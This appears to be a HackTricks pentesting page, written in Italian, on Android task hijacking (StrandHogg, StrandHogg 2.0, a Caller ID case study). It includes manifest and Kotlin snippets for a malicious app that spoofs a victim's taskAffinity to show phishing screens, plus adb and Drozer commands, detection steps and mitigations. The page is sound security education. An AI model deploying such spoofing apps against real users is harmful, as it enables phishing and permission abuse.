# Android Task Hijacking

{{#include ../../banners/hacktricks-training.md}}

## Task, Back Stack and Foreground Activities

In Android, un **task** è essenzialmente un insieme di attività con cui gli utenti interagiscono per completare un lavoro specifico, organizzato all'interno di uno **back stack**. Questo stack ordina le attività in base a quando sono state aperte, con l'attività più recente visualizzata in cima come **foreground activity**. In qualsiasi momento, solo questa attività è visibile sullo schermo, rendendola parte del **foreground task**.

Ecco una rapida panoramica delle transizioni delle attività:

- **Activity 1** inizia come l'unica attività in primo piano.
- L'apertura di **Activity 2** spinge **Activity 1** nel back stack, portando **Activity 2** in primo piano.
- L'avvio di **Activity 3** sposta **Activity 1** e **Activity 2** ulteriormente indietro nello stack, con **Activity 3** ora davanti.
- La chiusura di **Activity 3** riporta **Activity 2** in primo piano, mostrando il meccanismo di navigazione delle attività semplificato di Android.

![https://developer.android.com/images/fundamentals/diagram_backstack.png](<../../images/image (698).png>)

---

## Attacchi di affinità del task

`taskAffinity` indica ad Android a quale task un `Activity` *preferirebbe* appartenere. Quando due attività condividono la stessa affinità, **Android è autorizzato a fonderle all'interno dello stesso back-stack anche se provengono da APK diversi**.

Se un attaccante può posizionare un'attività malevola alla **radice** di quello stack, ogni volta che la vittima apre l'applicazione legittima, l'interfaccia utente malevola sarà la prima cosa che l'utente vede – perfetta per phishing o richieste abusive di permessi.

La superficie di attacco è più ampia di quanto molti sviluppatori pensino perché **ogni attività eredita automaticamente un'affinità pari al nome del pacchetto dell'applicazione** (a meno che lo sviluppatore non imposti `android:taskAffinity=""`). Pertanto, *non fare nulla* lascia già l'app aperta a task hijacking su versioni di Android precedenti alla 11.

### Scenario classico "singleTask / StrandHogg"

1. L'attaccante dichiara un'attività con:
```xml
<activity android:name=".EvilActivity"
android:exported="true"
android:taskAffinity="com.victim.package"
android:launchMode="singleTask" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
```
2. L'app malevola viene avviata una volta in modo che il task (con l'affinità contraffatta) esista nei task recenti.
3. Quando l'utente apre successivamente l'applicazione reale, Android trova già un task la cui **affinità radice corrisponde al pacchetto** e porta semplicemente quel task in primo piano.
4. L'interfaccia utente dell'attaccante viene mostrata per prima.

### Variante Default–Affinity (senza `singleTask`) – Studio di caso Caller ID

La vulnerabilità riportata nell'applicazione **Caller ID (caller.id.phone.number.block)** mostra che l'attacco *funziona anche* contro la modalità di avvio `standard` predefinita:

1. L'applicazione dell'attaccante crea un'attività radice falsa e si nasconde immediatamente:
```kotlin
class HackActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
moveTaskToBack(true)   // mantiene il task nei recenti ma fuori dalla vista
}
}
```
2. Il manifest deve solo copiare il pacchetto della vittima in `taskAffinity`:
```xml
<activity android:name=".HackActivity"
android:exported="true"
android:taskAffinity="com.caller.id.phone.number.block" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
```
3. Non appena l'utente installa e apre l'app malevola **una volta**, esiste un task la cui affinità è uguale al pacchetto della vittima (ma si trova in background).
4. Quando viene avviata l'applicazione reale Caller ID, Android riutilizza quel task e porta `HackActivity` in primo piano → finestra di phishing/abuso di permessi.

> NOTA: A partire da **Android 11 (API 30)** il sistema *non* colloca due pacchetti che non fanno parte dello stesso UID nello stesso task per impostazione predefinita, mitigando questa particolare variante. Le versioni precedenti rimangono vulnerabili.

---

### StrandHogg 2.0 (CVE-2020-0096) – Hijack del task basato su reflection

Il bollettino di sicurezza di Google di maggio 2020 ha corretto una variante più avanzata chiamata **StrandHogg 2.0**. L'exploit **non si basa affatto su `taskAffinity`**; invece utilizza *reflection* per inserire dinamicamente l'attività dell'attaccante in cima a *ogni* task in esecuzione, bypassando completamente la restrizione “shared-UID” introdotta da Android 11.

Punti chiave:

* Un'app malevola con zero permessi può, una volta aperta, iterare sui task in esecuzione e chiamare API nascoste per **ri-parentare** la propria attività in qualsiasi task.
* Poiché l'attività viene inserita dopo il runtime, né `launchMode` né l'analisi statica del manifest possono rilevare l'attacco in anticipo.
* Corretto retroattivamente inserendo un controllo in **Android 8.0/8.1/9** (SPL di maggio 2020). **Android 10 e versioni successive non sono interessati.**

La rilevazione su dispositivi pre-patch può essere eseguita con `adb shell dumpsys activity activities` e osservando attività sospette il cui nome del pacchetto differisce dall'*affinità* del task.

La mitigazione per i dispositivi legacy è la stessa del classico Task Hijacking **più** verifica in tempo reale (ad esempio, chiamando [`ActivityManager#getRunningTasks`](https://developer.android.com/reference/android/app/ActivityManager#getRunningTasks(int)) e convalidando il proprio nome del pacchetto).

---

## Checklist di rilevamento e sfruttamento

1. **Revisione statica** – Estrai `AndroidManifest.xml` dall'APK target e controlla che ogni `<activity>` (o l'elemento globale `<application>`) contenga `android:taskAffinity=""` (vuoto) **o** un valore personalizzato. Strumenti come:
```bash
# Usando apkanalyzer (Android SDK)
apkanalyzer manifest print app.apk | grep -i taskaffinity

# Usando AXMLPrinter2
java -jar AXMLPrinter2.jar AndroidManifest.xml | grep taskAffinity
```
2. **Revisione dinamica** – Sul dispositivo apri l'app target e elenca i task:
```bash
adb shell dumpsys activity activities | grep -A3 "TASK" | grep -E "Root|affinity"
```
Un task la cui affinità radice è uguale al pacchetto della vittima ma la cui attività superiore appartiene a un *pacchetto diverso* è un campanello d'allarme.
3. Crea un'app malevola come descritto sopra, o usa **[Drozer](https://github.com/WithSecureLabs/drozer)**:
```bash
drozer console connect
run app.activity.start --component com.victim/.MainActivity --action android.intent.action.MAIN
run app.activity.info com.victim
```

---

## Mitigazione

Gli sviluppatori dovrebbero:

* Impostare esplicitamente `android:taskAffinity=""` a livello di `<application>` (raccomandato) **o** dare a ciascuna attività un'affinità unica e privata.
* Per schermi altamente sensibili, combinare quanto sopra con `android:launchMode="singleInstance"` o moderne protezioni [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode).
* Aggiornare il `targetSdkVersion` dell'app e applicare le modifiche comportamentali di **Android 11** in cui i task non sono condivisi tra pacchetti per impostazione predefinita.
* Targetizzare **Android 12 (API 31) o superiore** in modo che l'attributo obbligatorio `android:exported` costringa gli sviluppatori a controllare ogni componente raggiungibile esternamente.
* Considerare l'auto-difesa in tempo reale: interrogare periodicamente `ActivityTaskManager` per garantire che il pacchetto della tua attività superiore corrisponda al tuo.

---

## Tecniche correlate di UI-Hijacking

Il task hijacking è spesso combinato con o sostituito da **tapjacking** (inganno dell'interfaccia utente basato su overlay). La ricerca del 2025 **TapTrap** ha dimostrato che attività *trasparenti* completamente *guidate da animazione* possono bypassare le restrizioni sul tocco dell'overlay introdotte in Android 12–14 e ingannare ancora gli utenti nel concedere permessi pericolosi. Anche se TapTrap non è strettamente *task* hijacking, l'obiettivo finale (clic di phishing) è identico – quindi le valutazioni moderne dovrebbero controllare entrambe le superfici di attacco.

---

## Riferimenti

- [https://blog.dixitaditya.com/android-task-hijacking/](https://blog.dixitaditya.com/android-task-hijacking/)
- [https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
- [Android Manifest Misconfiguration Leading to Task Hijacking in Caller ID app](https://github.com/KMov-g/androidapps/blob/main/caller.id.phone.number.block.md)
- [https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06](https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06)
- [Promon – StrandHogg 2.0 (CVE-2020-0096) technical write-up](https://promon.io/resources/downloads/strandhogg-2-0-new-serious-android-vulnerability)
- [USENIX 2025 – TapTrap: Animation-Driven Tapjacking on Android](https://www.usenix.org/conference/usenixsecurity25/presentation/beer)

{{#include ../../banners/hacktricks-training.md}}